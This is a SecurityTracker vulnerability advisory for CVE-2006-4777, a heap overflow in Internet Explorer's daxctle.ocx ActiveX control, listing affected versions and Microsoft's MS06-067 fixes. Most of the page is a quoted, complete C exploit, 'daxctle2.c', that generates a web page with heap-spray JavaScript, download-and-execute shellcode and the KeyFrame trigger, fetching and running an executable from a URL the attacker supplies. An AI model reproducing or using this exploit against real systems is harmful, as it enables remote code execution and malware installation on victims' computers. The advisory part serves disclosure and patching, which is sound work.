SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Web Browser)  >   Microsoft Internet Explorer (IE) Vendors:   Microsoft
Microsoft Internet Explorer Buffer Overflow in 'daxctle.ocx' ActiveX in KeyFrame Method Control Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016854
SecurityTracker URL:  http://securitytracker.com/id/1016854
CVE Reference:   CVE-2006-4777   (Links to External Site)
Updated:  Nov 14 2006
Original Entry Date:  Sep 15 2006
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 5.01 SP4, 6.0, 6.0 SP1
Description:   A vulnerability was reported in Microsoft Internet Explorer (IE). A remote user can cause arbitrary code to be executed on the target user's system.

A remote user can create specially crafted HTML that, when loaded by the target user, will trigger a buffer overflow in the 'daxctle.ocx' ActiveX control and execute arbitrary code on the target system. The code will run with the privileges of the target user.

A specially crafted KeyFrame object value can trigger the overflow.

nop from XSec reported this vulnerability.

The original advisory is available at:

http://www.xsec.org/index.php?module=exploits&act=view&type=3&id=7

Microsoft indicates that Windows 2003 and 2003 SP1 are not affected in their default configuration (with "Enhanced Security Configuration" enabled).

On September 27, 2006, Microsoft reported that some customers are experiencing limited attacks that are attempting to exploit this flaw.

[Editor's note: This is reportedly a different vulnerability than CVE-2006-4446 (Alert ID 1016764.]

Impact:   A remote user can create a file that, when loaded by the target user, will execute arbitrary code on the target user's system.
Solution:   The vendor has issued the following fixes as part of a cumulative updated for Internet Explorer:

Microsoft Internet Explorer 5.01 Service Pack 4 on Windows 2000 Service Pack 4:

http://www.microsoft.com/downloads/details.aspx?FamilyId=B743B081-20D4-4C1C-BC86-254D2F653953

Microsoft Internet Explorer 6 Service Pack 1 on Windows 2000 Service Pack 4:

http://www.microsoft.com/downloads/details.aspx?FamilyId=C65C8EE7-F78D-4D52-A20C-1F896E0DC0A8

Microsoft Internet Explorer 6 for Windows XP Service Pack 2:

http://www.microsoft.com/downloads/details.aspx?FamilyId=EA3CE61C-3A28-4777-9EEF-1486BB483C4F

Microsoft Internet Explorer 6 for Windows XP Professional x64 Edition:

http://www.microsoft.com/downloads/details.aspx?FamilyId=C535A36F-705E-4663-9EE4-B82632A50F0A

Microsoft Internet Explorer 6 for Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1:

http://www.microsoft.com/downloads/details.aspx?FamilyId=35EEF49C-E3D7-41EE-82F5-964A3959D453

Microsoft Internet Explorer 6 for Windows Server 2003 for Itanium-based Systems and Windows Server 2003 with SP1 for Itanium-based Systems:

http://www.microsoft.com/downloads/details.aspx?FamilyId=E8E03176-F93B-4DE7-AC95-01F9B1C5409C

Microsoft Internet Explorer 6 for Windows Server 2003 x64 Edition:

http://www.microsoft.com/downloads/details.aspx?familyid=ABE4FE3E-BDB6-44B1-B203-528C67980B8F

A restart is required.

The Microsoft advisory is available at:

http://www.microsoft.com/technet/security/bulletin/ms06-067.mspx

Vendor URL:  www.microsoft.com/technet/security/bulletin/ms06-067.mspx (Links to External Site)
Cause:   Boundary error
Underlying OS:   Windows (2000), Windows (2003), Windows (XP)

Message History:   None.


 Source Message Contents

Date:  Wed, 13 Sep 2006 21:57:34 +0800
Subject:  [0day] daxctle2.c - Internet Explorer COM Object Heap Overflow

/*
*-----------------------------------------------------------------------
*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec
Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server SP4 CN
* : + Internet Explorer 6.0 SP1
* : Windows XP SP2 CN
* : + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
* :
* Complie : cl daxctle2.c
* :
* Usage :d:\>daxctle2
* :
* :Usage: daxctle <URL> [htmlfile]
* :
* :d:\>daxctle2 http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

// Download Exec Shellcode by nop
unsigned char sc[] =
"\xe9\xa3\x00\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8\x43\x00\x00\x00"
"\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72\x6c\x6d\x54\xff\x16\x95"
"\xe8\x2e\x00\x00\x00\x83\xec\x20\x8b\xdc\x6a\x20\x53\xff\x56\x04"
"\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03\x04\x78\x65\x00\x00\x33"
"\xc0\x50\x50\x53\x57\x50\xff\x56\x10\x8b\xdc\x50\x53\xff\x56\x08"
"\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b"
"\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10"
"\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7"
"\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x58\xff\xff\xff\x8e\x4e\x0e"
"\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xef\xce\xe0\x60\x36\x1a\x2f"
"\x70";

char * header =
"<html>\n"
"<head>\n"
"<title>XSec.org</title>\n"
"</head>\n"
"<body>\n"
"<script>\n"
"shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u4343\" + \n";

// Change this script by yourself.
char * footer =
"bigbk = unescape(\"%u0D0D%u0D0D\");\n"
"headersize = 20;\n"
"slackspace = headersize + shellcode.length\n"
"while (bigbk.length < slackspace) bigbk += bigbk;\n"
"fillbk = bigbk.substring(0, slackspace);\n"
"bk = bigbk.substring(0, bigbk.length-slackspace);\n"
// bk = nop+nop ;-)
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;\n"
"memory = new Array();\n"
"for (i=0;i<800;i++) memory[i] = bk + shellcode;\n"
"var target = new ActiveXObject(\"DirectAnimation.PathControl\");\n"
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));\n"
"</script>\n"
"</body>\n"
"</html>\n";

// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];

for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf("\"\n\"");
fprintf(fp, "%s", "\" +\n\"");
}
else
{
printf("\"");
fprintf(fp, "%s", "\"");
}
}

printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);

fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}


printf("\";\n");
fprintf(fp, "%s", "\");\n");


fflush(fp);
}

void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};

int sc_len = 0;


if (argc < 2)
{
printf("Internet Explorer COM Object Remote Heap Overflow Download Exec
Exploit\n");
printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n");
//printf("!!! 0Day !!! Please Keep Private!!!\n");
printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
exit(1);
}

url = argv[1];

//if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url)
< 10 || strlen(url) > 60)
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
{
//printf("[-] Invalid url. Must start with 'http://','ftp://' and < 60
bytes.\n");
printf("[-] Invalid url. Must start with 'http://','ftp://'\n");
return;
}

printf("[+] download url:%s\n", url);

if(argc >=3) file = argv[2];
printf("[+] exploit file:%s\n", file);

fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}

// print html header
fprintf(fp, "%s", header);
fflush(fp);

// print shellcode
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));

sc_len += strlen(url)+1;
PrintUc(buf, sc_len);

// print html footer
fprintf(fp, "%s", footer);
fflush(fp);

printf("[+] exploit write to %s success!\n", file);
}

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC